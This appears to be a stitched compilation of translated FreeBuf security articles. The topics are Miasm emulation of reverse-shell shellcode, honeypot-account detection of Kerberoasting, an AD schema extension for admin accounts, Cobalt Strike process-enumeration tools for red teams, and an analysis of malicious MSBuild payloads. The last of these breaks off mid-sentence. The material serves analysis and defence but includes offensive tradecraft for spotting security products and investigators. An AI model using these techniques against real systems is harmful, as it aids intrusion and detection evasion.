Miasm实际上使用了一个非常聪明的技巧来简化新库的实现,沙盒接受附加功能的参数,默认情况下使用调用globals()。这意味着我们只需要在代码中定义一个具有正确名称的函数,它就可以直接作为系统函数使用。让我们尝试ws2_32_WSAStartup:

def ws2_32_WSAStartup(jitter):
    print("WSAStartup(wVersionRequired, lpWSAData)")
    ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])
    jitter.func_ret_stdcall(ret_ad, 0)

现在我们得到:

INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
Traceback (most recent call last):
[SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")

我们可以继续这种方式,并逐一实现shellcode调用的几个函数:

def ws2_32_WSASocketA(jitter):
    """
    SOCKET WSAAPI WSASocketA(
        int                 af,
        int                 type,
        int                 protocol,
        LPWSAPROTOCOL_INFOA lpProtocolInfo,
        GROUP               g,
        DWORD               dwFlags
    );
    """
    ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"}
    TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"}
    PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"}
    ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])
    print("WSASocketA({}, {}, {}, ...)".format(
        ADDRESS_FAM[args.af],
        TYPES[args.type],
        PROTOCOLS[args.protocol]
    ))
    jitter.func_ret_stdcall(ret_ad, 14)
def ws2_32_connect(jitter):
    ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"])
    sockaddr = jitter.vm.get_mem(args.name, args.namelen)
    family = struct.unpack("H", sockaddr[0:2])[0]
    if family == 2:
        port = struct.unpack(">H", sockaddr[2:4])[0]
        ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])
        print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))
    else:
        print("connect()")
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_CreateProcessA(jitter):
    ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_ExitProcess(jitter):
    ret_ad, args = jitter.func_args_stdcall(["uExitCode"])
    jitter.func_ret_stdcall(ret_ad, 0)
    jitter.run = False

最后,我们对shellcode进行了完整的模拟:

[INFO    ]: Add module 400000 'sc_windows1.exe'
[INFO    ]: Add module 7c900000 'ntdll.dll'
[INFO    ]: Add module 7c800000 'kernel32.dll'
[INFO    ]: Add module 7e410000 'use***.dll'
[INFO    ]: Add module 774e0000 'ole32.dll'
[INFO    ]: Add module 7e1e0000 'urlmon.dll'
[INFO    ]: Add module 71ab0000 'ws2_32.dll'
[INFO    ]: Add module 77dd0000 'advapi32.dll'
[INFO    ]: Add module 76bf0000 'psapi.dll'
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
[INFO    ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab
[INFO    ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba
WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)
[INFO    ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4
socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)
[INFO    ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117
[INFO    ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125
[INFO    ]: kernel32_GetVersion() ret addr: 0x401131
[INFO    ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144

总结

学习miasm很有趣,我发现它非常强大,miasm编写得很好并且具有很多功能。唯一的缺点是目前缺少文档。如果您想开始使用miasm,则应查看示例博客文章,它们是很好的起点。Willi Ballenthin最近还写了一些我觉得很有趣的博客 文章。并且,一旦您知道其中的点点滴滴,就可以加入我

待在家里,保重!

*参考来源:randhome,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

我们知道,如果攻击者进入域(内网)环境中,攻击影响不敢想象,所以最重要的是快速检测它们。防病毒和EDR解决方案在检测和阻止攻击者方面已经走了很长一段路,但是牛批的黑客很可能通过各种奇技淫巧技术来规避这些控制措施。

防守方通常会忽略的一种方法——使用蜜罐帐户。蜜罐帐户是一种策略性地定位在网络中的帐户,在这种情况下使用蜜罐帐户的主要目的是检测Kerberoasting(在@ myexploit2600的文章),根据我们在行业中的经验,这是在攻击之后使用的最常见的攻击媒介之一。在网络内获得立足点。

使用蜜罐帐户的优点之一是没有额外的软件成本。许多蓝队解决方案要花费大量资金,并且需要大量资源来实施和管理。但是当使用蜜罐账户时,由于绝对不应请求或使用该账户,因此产生误报的可能性也为零。

设置蜜罐域管理员帐户

要设置蜜罐域管理员帐户,我们首先需要在Active Directory中创建一个。应该使用与现有“域管理员”帐户类似的命名约定来使其看起来合法。应该使用128个随机生成的字符的密码,以防止攻击者在获得哈希后能够破解哈希。

分配权限后,我们需要选择合适的服务主体名称(SPN)。这是攻击者在进行Kerberoasting攻击时将看到的内容,因此重要的是使其看起来像合法的东西,例如惰性sys管理员已将其放入Domain Admins组中的MSSQL服务帐户。使其具有唯一性也很重要,因此请检查您现有的SPN并再次检查“ adminCount”属性是否设置为1。

启用Audit Kerberos Service Ticket Operations日志记录,捕获事件4769,该事件在请求Kerberos服务票证时发生。

如果您拥有SIEM或使用SOC管理的服务,则应该已经捕获了这些事件,并且可以创建自定义警报,但是对于此博客文章,我们将说明如何在没有其他服务或产品的情况下识别此活动。

创建一个自定义事件视图,以识别何时为我们的蜜罐用户帐户请求Kerberos服务票证。这可以通过使用以下包含我们新创建的帐户的XPath查询来完成。如果我们不执行此步骤,则在大型AD环境中,将有成千上万的4769事件日志,并且很难识别恶意活动。

<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(Level=4 or Level=0) and (EventID=4769)]] and
* [EventData[Data[@Name='ServiceName']='tkerb']]</Select>
</Query>
</QueryList>

创建自定义事件视图后,我们将进行Kerberoasting攻击以测试其是否有效。

该事件已在我们的自定义事件视图中成功捕获,我们需要创建一种方法来警告管理员网络中可能存在攻击者。警报包含进行了Kerberoasting攻击的客户端计算机的IP地址。这可能是受感染的用户,或者是攻击者使用他们自己的设备物理连接到网络。

现在,我们可以创建一个特定的事件查看器任务,该任务将在事件出现在自定义事件视图中时触发。该任务需要设置为“无论用户是否登录都运行”。

设置任务后,请仔细检查触发器设置,以确保它在我们先前创建的事件XPath查询中触发。

在最后一步中,我们将操作设置为启动powershell.exe,但是您应该将其更改为启动PowerShell脚本,该脚本通过电子邮件向管理员发送电子邮件,说明正在进行中的恶意活动也将禁用该帐户。

为了测试检测,我们执行了Kerberoasting攻击,并且可以看到powershell.exe启动。

如果一切都按预期进行,那么您现在就可以找到一种有效的方法来识别攻击者,以在您的环境中进行Kerberoasting攻击。定期模拟此攻击向量和响应非常重要,以确保相关团队知道如何做出反应。

*参考来源:pentestpartners,FB小编周大涛编译,转载请注明来自FreeBuf.COM

AD帐户分类入门

AD中的内置管理模型存在非常高的风险,它允许将Domain Admins和其他敏感帐户暴露给当今大多数企业网络中——比如允许登录到工作站和其他客户端成员计算机,默认情况下这导致未启动者在高度特权的帐户和不受信任的资产之间使用各种不适当的联系点。

因此,为了保护你的AD环境,你可以采取的最基本的步骤之一就是建立某种形式的帐户隔离。

只需为您的管理员提供一个可以分配管理权限的额外帐户,就是这么简单。反过来, 这个管理员帐户,反过来,不应该用于日常任务,如阅读电子邮件或浏览互联网。 这种模式在规模较小的操作中非常普遍(有时非常适合) ,在这些操作中,帮助台 / 系统管理员的责任由相同的员工共同承担。

锁定模式!

另一方面,我们可以找到Microsoft的Active Directory管理层模型

以最极端的形式,此3层模型是通过专用且经过适当加固的管理林(通常称为Red Forest或ESEA-增强安全管理环境)实施的,但也可以直接在单个林不仅可以在服务器和工作站之间提供适当的隔离,而且还可以将核心身份管理与应用程序基础结构隔离开来。

管理员帐户

想象一下,您遵循了以上所有建议-为所有支持人员提供了单独的管理员帐户,到目前为止,另一个问题: 管理员帐户生命周期管理

谁会记得当您的一位管理员离开公司时检查相关的管理员帐户?

使用属于同一人的所有这些帐户时,您可能会遇到的另一个问题是,对来自管理帐户的可疑或异常活动进行分类时的身份关联。

假设,如果某个Domain Admin帐户在凌晨3:45突然删除目录中的一堆对象并开始更改人员密码-您可能要与实际员工联系并要求他们确认是否是故意的-因此自动将管理员帐户的身份转换为关联的常规用户帐户的功能可能很重要。这给我们留下了两个我们需要能够回答的问题:

给定一个管理帐户的标识,返回相关联的用户

给定一个用户的身份,返回任何相关的管理员帐户

我已经看到了许多通过比较用户名来进行此操作的尝试,希望该组织的(通常是非强制性的)命名约定可以节省一天的时间,而且我也看到了几乎相同的失败案例。我们需要一种更强大的解决方案…

架构扩展

换句话说,我们需要某种方式在Active Directory中保持用户帐户对象之间的一对多关系。听起来有点熟?

碰巧的是,Active Directory已经具有许多完全以这种方式起作用的属性。我想到的第一个示例是manager/directReports-这些就是我们所说的 link-value属性。当manager属性上的帐户设置为一个值X,该directReports由所标识的对象的属性上X会自动反映已更新的帐户的价值。我们将第一个属性(manager)称为该对的前向链接属性,而第二个属性(directReports)是反向链接。

我们可以通过3个简单的步骤利用这种机制来创建自己的映射:

在架构中创建一对链接的属性

创建一个可能包含属性的辅助类

将辅助类与现有user对象类相关联

attributeSchema

简而言之,Active Directory中的每个对象都包含一个内部的,特定于副本的标识(a DNT)以及许多可能带有或不带有值的属性。每个属性的行为又由attributeSchemaSchema命名上下文中的对象限制。如果要扩展Active Directory的行为,则需要添加一些attributeSchema!

考虑到这一点,让我们开始看一下manager属性的架构定义:

# Discover the schema container
$rootDSE = Get-ADRootDSE
$schemaNC = $rootDSE.schemaNamingContext
# Discover schema master
$schemaMaster = Get-ADObject $schemaNC -Properties fSMORoleOwner | Get-ADDomainController -Identity { $_.fSMORoleOwner }
# Retrieve the 'manager' attribute
Get-ADObject -Filter 'Name -eq "manager"' -SearchBase $schemaNC -Properties *
adminDisplayName                : Manager
attributeID                     : 0.9.2342.19200300.100.1.10
attributeSyntax                 : 2.5.5.1
DistinguishedName               : CN=Manager,CN=Schema,CN=Configuration,DC=corp,DC=iisreset,DC=me
isMemberOfPartialAttributeSet   : True
isSingleValued                  : True
lDAPDisplayName                 : manager
linkID                          : 42
Name                            : Manager
ObjectClass                     : attributeSchema
oMSyntax                        : 127

在上面的输出中,我仅列出了属性的一个子集,但这实际上包含了我们需要的所有内容,尤其是:

我们需要创建attributeSchema一个名称和对象

… 一种 linkID

…一个 attributeID

… oMSyntax值127

… attributeSyntax值为2.5.5.1

oMSyntax 的值127表示属性值是一个对象引用,并且attributeSyntax2.5.5.1手段LDAP将使用专有名称来表示对象的引用。

上面输出中的另一个兴趣点是boolean isSingleValued。鉴于我们有兴趣建立一对多关系,因此将管理员帐户绑定到其主要所有者的前向链接也应为单值,而后向链接则必须为多值。

注意:member/memberOf是一个链接属性对的示例,其中两个链接都是多值的-因为它们旨在表示多对多关系

linkID正向链接和反向链接由值配对-正向链接具有偶linkID数值,并且它们对应的反向链接属性将具有相同的值+1。在上面的示例中,manager其linkID值为42,并且足够确定:

PS C:\> Get-ADObject -Filter 'linkID -eq 43' -SearchBase $schemaNC |% ldapDisplayName
directReports

我们可以选择一些偶数,例如31706,然后将31707分配给backlink属性-这可能会起作用-但是我们冒着获取Microsoft可能在将来的模式更新中使用的ID的风险。我们将陷入困境。

从Windows Server 2003开始,Active Directory linkID通过执行以下操作来支持通过魔术OID 自动生成随机对:

创建linkID值为的前向链接1.2.840.113556.1.2.50

重新加载架构并检索生成的链接

使用前向链接的linkID值创建后attributeID向链接

剩下的就交给 AD 去做,我们需要提供的其他唯一标识符是这些attributeID值的OID 。如果您的组织已经分配了ISO OID,则需要使用它的扩展名-但是,如果没有,Microsoft将提供有关如何生成 ISO OID的指导

最后,一个最佳实践建议:在架构名称中添加公司特定的前缀,以避免与其他应用程序或基本架构发生冲突!在下文中,我将使用前缀iRM作为的简写IISResetMe。

有了这一点,让我们开始吧!

# Forward-link attribute to indicate the owner of a non-primary account
$fwdAttrName   = "${orgPrefix}-sourceAccount"
$fwdAttrSchema = New-ADObject -Name $fwdAttrName -Type attributeSchema -OtherAttributes @{
    adminDisplayName              = $fwdAttrName
    lDAPDisplayName               = $fwdAttrName
    oMSyntax                      = 127
    attributeSyntax               = "2.5.5.1"
    attributeID                   = "${orgOID}.1"
    isSingleValued                = $true
    isMemberOfPartialAttributeSet = $true
    adminDescription              = "Account owner"
    instanceType                  = 4
    linkID                        = '1.2.840.113556.1.2.50'
    showInAdvancedViewOnly        = $false
} -Server $schemaMaster -PassThru
# Refresh the schema
$rootDSE.Put('schemaUpdateNow', 1)
$rootDSE.SetInfo()

好的,这是我们的前向链接,该sourceAccount属性-将用于指示谁是管理员帐户的真正所有者。

接下来,反向链接:

$bckAttrName   = "${orgPrefix}-adminAccounts"
$bckAttrSchema = New-ADObject -Name $bckAttrName -Type attributeSchema -OtherAttributes @{
    adminDisplayName              = $bckAttrName
    lDAPDisplayName               = $bckAttrName
    oMSyntax                      = 127
    attributeSyntax               = "2.5.5.1"
    attributeID                   = "${orgOID}.2"
    isSingleValued                = $false
    isMemberOfPartialAttributeSet = $true
    adminDescription              = "Associated admin accounts"
    instanceType                  = 4
    showInAdvancedViewOnly        = $false
    linkID                        = $fwdAttrSchema.attributeID
} -Server $schemaMaster -PassThru
# Refresh the schema
$rootDSE.Put('schemaUpdateNow', 1)
$rootDSE.SetInfo()

这就是我们的反向链接,该adminAccounts属性可用于发现与某个帐户关联的管理员帐户。

classSchema

现在,这里的最终目标是将属性对与user对象类相关联-而不是修改user该类可以直接包含的属性集,扩展基本模式数据类型的推荐方法是创建一个辅助类,并且使用它来通过一组行为**扩展现有类型。

因此,我们的下一步是创建这样的类:

# Auxiliary class that may contain our attributes
$auxClassName   = "${orgPrefix}-adminAccountExtensions"
$auxClassSchema = New-ADObject -Name $auxClassName -Type classSchema -OtherAttributes @{
    adminDisplayName    = $auxClassName
    lDAPDisplayName     = $auxClassName
    governsID           = "${orgOID}.3"
    mayContain          = @(
        $fwdAttributeSchema.attributeID
        $bckAttributeSchema.attributeID
    )
    objectClassCategory = '3'
    adminDescription    = 'This class adds optional admin account relationship links to user account objects'
    subClassOf          = 'top'
} -Server $schemaNC -PassThru
# Refresh the schema
$rootDSE.Put('schemaUpdateNow', 1)
$rootDSE.SetInfo()

这里有几点要注意:

governsID 是类架构标识符,等效于 attributeID

objectClassCategory = 3 表示“这是辅助课程”

我们打算扩展的行为user,但我们并不继承它(因此subClassOf = top)

最后,我们需要在上一次操作中再次刷新架构-将其绑定在一起:

$userClass = Get-ADObject -SearchBase $schemaNC -Filter "Name -like 'user'"
$userClass |Set-ADObject -Add @{
  # add our new auxiliary class to 'user'
  auxiliaryClass = $auxClassSchema.governsID
} -Server $schemaMaster

我们的辅助类架构,如“ AD架构MMC”管理单元中所示

如何测试

在我的测试环境中,用户john具有两个单独的管理员帐户:

他的Ultra Admin帐户john-ua,用于第0层管理

他的Infra Admin帐户john-ia,用于1级管理

为了使用我们的新属性建立正确的关系,我们可以使用熟悉的工具,例如ADAC,dsa.msc或者-更好-老的Set-ADUser:

$john = Get-ADUser john
foreach($admin in 'john-ua','john-ia'){
    Set-ADUser $admin -Replace @{ 'iRM-sourceAccount' = $john.distinguishedName }
}

展望未来,您将要在创建管理员帐户期间填充初始关系,所以不要忘记更新您的配置脚本!

现在,帐户已正确链接,让我们重新回顾我之前提出的问题:

给定管理员帐户的身份,返回关联的用户

好吧,既然我们从字面上直接拥有该信息,那么它变得像以下操作一样简单:

PS C:\> $johnIA = Get-ADUser john-ia -Properties iRM-sourceAccount
PS C:\> $johnIA |Get-ADUser -Identity { $_.'iRM-sourceAccount' }

给定用户的身份,返回所有关联的管理员帐户

很好-鉴于源帐户上的反向链接,这几乎是微不足道的!

PS C:\> $john = Get-ADUser john-ia -Properties iRM-adminAccounts
PS C:\> $john.'iRM-adminAccounts' |Get-ADUser

这种连接身份的方法(看似复杂)的真正价值在于它的健壮性和灵活性。所涉及的任何帐户都可以更改其所有其他属性,更新用户名或在目录中移动,而无需破坏我们现在创建的绑定!

我已经在下面的实验室中发布了用于创建此架构扩展的完整脚本,如果有人想尝试一下,看看它是否对管理员帐户生命周期管理有帮助:)

*参考来源:iisreset,FB小编周大涛编译,转载请注明来自FreeBuf.COM

在这篇博文中,我们将探索著名的过程监控程序的功能,并演示Red Team在进攻性行动中如何使用这些工具背后的技术。为了能够从受损的端点收集详细的过程数据,我们编写了一系列过程工具,这些工具将这些高级过程程序的功能引入了C2框架(例如Cobalt Strike)。

这些工具(包括源代码)可以在这里找到:

https://github.com/outflanknl/Ps-Tools

Windows内部系统程序

我们将首先探讨哪些程序可用于从Windows计算机收集过程信息。然后,我们可以了解这些程序如何收集此类信息,以便随后可以在我们的工具中利用这些技术。

Windows操作系统配备了许多现成的程序来管理系统。尽管这些工具大多数都适合基本系统管理的目的,但其中一些工具缺少我们进行更高级的故障排除和监视所需的功能。例如,Windows任务管理器为我们提供了有关系统中所有正在运行的进程的基本信息,但是如果我们需要更详细的信息,例如特定进程中的对象句柄,网络连接或已加载的模块,该怎么办?

要收集详细信息,可以使用更高级的工具。例如,Sysinternals套件中的系统程序。

当对运行缓慢的服务器系统或可能受感染的客户端计算机进行故障排除时,大多数时候我会使用Process Explorer或Procmon之类的工具开始初步故障排除。

从取证的角度来看,这些工具对于恶意软件样本的基本动态分析以及在受感染系统上搜索伪像也非常有用。那么,为什么这些工具在系统管理员和安全专家中如此受欢迎?让我们通过显示一些有趣的过程信息来探索这一点,我们可以使用Process Explorer工具来收集这些信息。

使用Process Explorer

启动Process Explorer时,我们注意到的第一件事是系统上当前活动的所有进程的列表/树。这为我们提供了有关进程名称,进程ID,用户上下文以及进程和版本信息的完整性级别的信息。通过自定义列,可以在此视图中显示更多信息。

如果启用下部窗格,则可以显示特定进程中加载的所有模块,或切换到句柄视图以显示进程正在使用的所有命名的句柄对象:

查看模块对于识别进程中正在加载的恶意库很有用,或者从Red Team的角度来看,如果有活动的安全产品(例如EDR)注入了用户模式API挂钩模块,则查看模块非常有用。

切换到句柄视图可让您查看流程中正在使用的所有命名对象的类型和名称。这对于查看打开了哪些文件对象和注册表项或用于进程间通信的命名管道可能很有用。

如果我们双击一个进程名称,将弹出一个包含更多详细信息的窗口。让我们探索一些选项卡以查看流程中的其他属性:

图像选项卡向我们显示有关二进制路径,工作目录和命令行参数的信息。此外,它还显示有关用户上下文,父进程,图像类型(x86与x64)等信息。

线程选项卡提供有关在进程中运行线程的信息。选择一个线程,然后单击堆栈按钮,将显示该特定线程的调用堆栈。要查看以内核模式运行的线程/调用,Process Explorer使用内核驱动程序,该内核驱动程序在提升模式下运行。

从DFIR角度来看,线程信息对于检测内存注入技术(也称为无文件恶意软件)很有用。例如,未由磁盘上的文件支持的线程可能表明发生了混乱。为了对线程和内存有更多的了解,我强烈建议您也看看Process Hacker工具。

Process Explorer中另一个有趣的标签是TCP / IP标签。这将显示与该过程有关的所有网络连接。从进攻角度看,这对于检测何时从我们控制的系统建立连接很有用。传入的PowerShell远程处理会话或RDP会话可能表明已开始调查。

利用技术

现在,我们已经研究了一些可以使用Process Explorer收集的有趣的过程信息,您可能想知道我们如何才能在我们最喜欢的C2框架中访问用户模式下的相同信息。当然,我们可以使用PowerShell,因为它为我们提供了非常强大的脚本语言,并允许访问Windows API。但是如今,由于PowerShell在严格的安全监视之下,因此我们尝试避免使用此方法。

Cobalt Strike中,我们可以在信标上下文中使用ps命令。此命令显示系统上运行的所有进程的基本进程信息。与@ r3dQu1nn ProcessColor aggressor脚本结合使用,这可能是轻松收集过程信息的最佳方法。

ps命令的输出对于快速分类正在运行的进程很有用,但是缺少可以帮助我们更好地了解系统的详细信息。为了收集更详细的信息,我们编写了自己的过程信息程序,以收集和丰富我们可以从受到破坏的系统中收集的信息。

Outflank Ps

尝试复制诸如Process Explorer之类的工具提供的功能和信息并非易事。首先,我们需要弄清楚这些工具是如何在后台(以及在用户模式下)工作的,接下来,我们需要找出从控制台而不是GUI显示此信息的最佳方法。

在分析了公开可用的代码后,很明显,许多低级系统信息工具很大程度上基于本机NtQuerySystemInformationAPI。尽管API和相关结构没有完整记录,但此API允许您收集有关Windows系统的大量信息。因此,以NtQuerySystemInformation为起点来收集有关系统中正在运行的所有进程的整体信息,然后我们使用各个进程的PEB来收集有关每个进程的更多详细信息。使用NtQueryInformationProcess使用API,我们可以使用进程的句柄从进程中读取PROCESS_BASIC_INFORMATION结构并找到PebBaseAddress。从那里,我们可以使用NtReadVirtualMemory API读取RTL_USER_PROCESS_PARAMETERS结构,该结构允许我们读取进程的ImagePathName和CommandLine参数。

使用这些API作为我们代码的基本基础,我们编写了以下过程信息工具:

Psx:显示系统上运行的所有进程的详细列表。

Psk:显示详细的内核信息,包括已加载的驱动程序模块。

Psc:显示具有已建立的TCP连接的所有进程的详细列表。

Psm:显示来自特定进程ID的详细模块信息(例如已加载的模块,网络连接)。

Psh:显示来自特定进程ID(例如对象句柄,网络连接)的详细句柄信息。

密码:显示活动Windows进程的窗口标题。

这些工具都以C语言编写为反射DLL,并且可以使用C2框架(如Cobalt Strike)(或允许反射DLL注入的任何其他框架)以反射方式在生成的进程中加载。对于Cobalt Strike,我们包含了一个攻击者脚本,该脚本可用于使用Cobalt Strike脚本管理器加载工具。

让我们探索在Cobalt Strike中运行的每个工具,以演示其功能以及可以使用该工具收集哪些信息:

Psx

该工具显示系统上正在运行的所有进程的详细列表。可以将输出与Process Explorer主屏幕的输出进行比较。它向我们显示了流程的名称,流程ID,父PID,创建时间以及与流程二进制文件相关的信息(架构,公司名称,版本等)。如您所见,它还会显示来自系统上运行的活动内核的有趣信息,例如内核基地址,这是进行内核利用(例如计算ROP小工具偏移量)时有用的信息。所有这些信息都可以从普通用户上下文中收集。

如果我们有足够的权限打开该进程的句柄,则可以从其令牌中读取更多信息,例如用户上下文和完整性级别。枚举PEB及其相关结构使我们可以获得有关图像路径和命令行参数的信息:

您可能已经注意到,我们正在从过程二进制映像中读取和显示版本信息,例如公司名称和描述。使用公司名称很容易枚举系统中所有活动的安全产品。使用此工具,我们将所有活动进程的公司名称与知名安全产品供应商的列表进行比较,并显示结果摘要:

Psk

该工具显示有关正在运行的内核的详细信息,包括所有已加载的驱动程序模块。就像Psx工具一样,它也提供了来自知名安全产品的所有已加载内核模块的摘要。

Psc

该工具使用相同的技术来枚举Psx之类的活动进程,只是它仅显示具有活动网络连接(IPv4,IPv6 TCP,RDP,ICA)的进程:

Psm

该工具可用于列出有关特定过程的详细信息。它将显示进程和网络通信中正在使用的所有模块(dll)的列表:

sh

与Psm相同,但不是加载模块,而是显示进程正在使用的句柄列表:

Psw

最后但并非最不重要的是Psw工具。此工具将显示在用户桌面上打开了活动窗口句柄的进程列表,包括窗口标题。这对于确定用户打开哪些GUI应用程序而不必创建桌面屏幕快照很有用:

用例

那么,您可能想知道,这在进攻行动中有什么用?初次访问受损资产后,我们通常将此信息用于以下目的:

在受到威胁的资产上检测安全工具。不仅按过程信息名称,而且按加载的模块。

通过加载的模块识别用户登陆挂钩引擎。

寻找横向移动(通过网络会话)和特权升级的机会。

初步妥协后,您可以定期轮询详细的过程信息并开始构建触发器。例如,我们将这些信息自动输入到我们的工具RedELK中。然后,我们可以开始针对流程信息中的可疑更改生成警报,例如:

安全调查工具已启动或已安装新的端点安全产品。

安全部门通过RDP或PowerShell远程处理的传入网络连接。

另一个过程为我们的一个恶意软件伪像(例如,用于持久性的文件)打开了句柄。

结论

在此博文中,我们演示了如何使用诸如Sysinternals Process Explorer之类的工具来获取有关系统上运行的进程的更多详细信息,以及该信息如何帮助管理员和安全专业人员对可能的与安全性或性能相关的问题进行故障排除和调查。

相同的信息对于在评估过程中能够访问受感染系统的红队也非常相关和有用。它有助于从目标中更好地了解系统和IT基础结构,并且定期轮询此信息使Red Team可以对IT环境中的可能更改做出反应(例如,调查触发)。

我们复制了诸如Process Explorer之类的工具提供的某些功能,因此我们可以从进攻性行动中获得相同的信息。为此,我们创建了几个过程监视工具,这些工具可在C2框架(如Cobalt Strike)中使用。我们演示了如何使用这些工具以及可以使用这些工具收集哪些信息。

这些工具可从我们的GitHub页面上获得,并准备在Cobalt Strike中使用。

参考来源:outflank,FB小编周大涛编译,转载请注明来自FreeBuf.COM

MSBuild特征之一是需要配置文件,攻击者可以使用一个特殊的XML标记,指定一个内联任务,详细信息点我,其中包含将由MSBuild编译并加载到内存中的源代码。

MSBuild配置文件中的内联任务的定义。

根据任务的属性,开发人员可以指定在构建项目时自动执行的类,方法或代码片段。也可以将源代码指定为驱动器上的外部文件。

在研究过程中,我们从各种来源收集了100多个恶意MSBuild配置文件,我们分析了其交付方法并调查了最终的payload,这些payload通常以Shellcode的形式交付。

SHELLCODE总结分析

METASPLOIT

收集的大多数样本都包含由Metasploit生成的shellcode变体,嵌入C#代码中。一般通过使用zlib或GZip压缩字节数组,然后将其转换为base64编码的可打印文本,来混淆shellcode。

MSBuild配置文件中的Meterpreter stager shellcode示例。

可能最方便的shellcode分析工具是shellcode调试器:scdbg。Scdbg有许多调试Shellcode的选项。由于Scdbg基于开放源代码x86仿真库libemu,因此它仅仿真Windows环境,而不会运行每个shellcode。

当然,要分析shellcode,我们需要将其从C#的格式转换回二进制格式。我们将使用xxd工具来实现这一点,记下来,要考的

xxd有有一个神奇的模式,输入选项-r和-p一起可以将C#数组字节转换回二进制文件。

xxd -r -p input_text_shellcode_file output_binary_shellcode_file

xxd支持几种常见的转储格式,但也不是每次都正确。重要的是要检查二进制字节和shellcode文本文件中指定的字节是否相同。

COVENANT

Covenant是一个相对较新的基于C#的C2框架,它还允许红队成员自行编写payload,但必须是.NET程序集,可以由框架代码加载和执行。Covenant框架有其自己becon,称为Grunts。Grunts提供了与C2服务器建立通信的基础结构。

NPS

NPS是一个简单的包装可执行程序实用程序,创建该实用程序是为了将System.Management.Automation和其他几个.NET程序集加载到可执行程序的处理空间中。其背后的想法是试图逃避对powershell.exe执行的检测,并仍然运行自定义PowerShell代码。该工具允许参与者使用不同的机制(包括MSBuild配置工具)来创建非PowerShell payload。该工具使用用户提供的Meterpreter阶段程序shellcode payload或自定义Powershell代码payload生成MSBuild项目文件。

COBALT STRIKE

尽管到目前为止,Metasploit shellcode是最常见的,但我们也看到了一些使用Cobalt Strike作为payload的示例。他的shellcode具有类似于PE文件的结构,但是它被设计为手动加载到内存中,并通过调用从blob开头的shellcode loader来执行。

payload 开始部分

payload loader

MIMIKATZ

我们发现唯一的长于Cobalt Strike shellcode / beacon的payload是一个包含两个Mimikatz payload的样本。我们他具有更复杂的逻辑,用于将可执行文件加载到内存中,并最终通过调用CreateThread来启动它。

MSBuild Mimikatz loader

加载程序首先检查操作系统是32位还是64位,然后加载并运行存储在使用base64编码的变量中的相应Mimikatz可执行文件。

实例探究

在过去6个月的时间里,我们通过在Cisco Threat Grid平台中搜索提交的内容,发现了三个研究样本。

与MSBuild相关的危害指标的简要思科威胁网格说明。

情况1:WORD文档到DROPBOX上的MSBUILDpayload

我们使用MSBuild部署payload的第一个案例是一个Word文档,该钓鱼文档提示用户“启用内容”以执行文档中包含的VBA宏代码。

启用后,VBA代码将在用户的Temp文件夹中创建两个文件。第一个为expenses.xlsx,它实际上是一个MSBuild配置XML文件,其中包含用于编译和启动payload的恶意代码。

根据VirusTotal的说法,该样本托管在一个可公开访问的Dropbox文件夹中,文件名为“候选简历-Morgan Stanley 202019.doc”,这表明该活动是针对性的。

由VBA代码在用户的临时文件夹中创建的第二个文件为resume.doc。这是一个诱饵Word文档,显示了市场经理的简历。

Winword启动MSBuild,后者启动C#编译器csc.exe和cvtres.exe。

我们还可以看到MSBuild进程正在启动Internet Explorer(iexplore.exe)。iexplore.exe以挂起模式启动,因此可以将payload(即 Cobalt strike beacon)复制到其进程空间中,并通过将线程排队作为异步过程调用来启动,这是进程注入的常见技术之一。

在这种情况下,可以发现winword.exe启动MSBuild.exe进程,然后MSBuild.exe启动iexplore.exe这种异常的操作。

注入代码

情况2:将EXCEL文件转换为SILENT TRINITY

第二个案例和上一个差不多。在这里,我们有一个Excel文件,该文件看起来包含机密的工资信息,但提示用户启用编辑功能以查看其内容。

打开时的Excel示例

Excel文件包含一个VBA宏代码,乍一看看上去并不十分可疑,但实际上调用了另一个函数。最终以包含下一个加载器阶段URL的文档Subject属性对Wscript.Shell的可疑调用结束。

VBA Code使用文档的Subject属性启动下一阶段。

文档主题属性包含执行PowerShell并获取并调用下一阶段的代码:

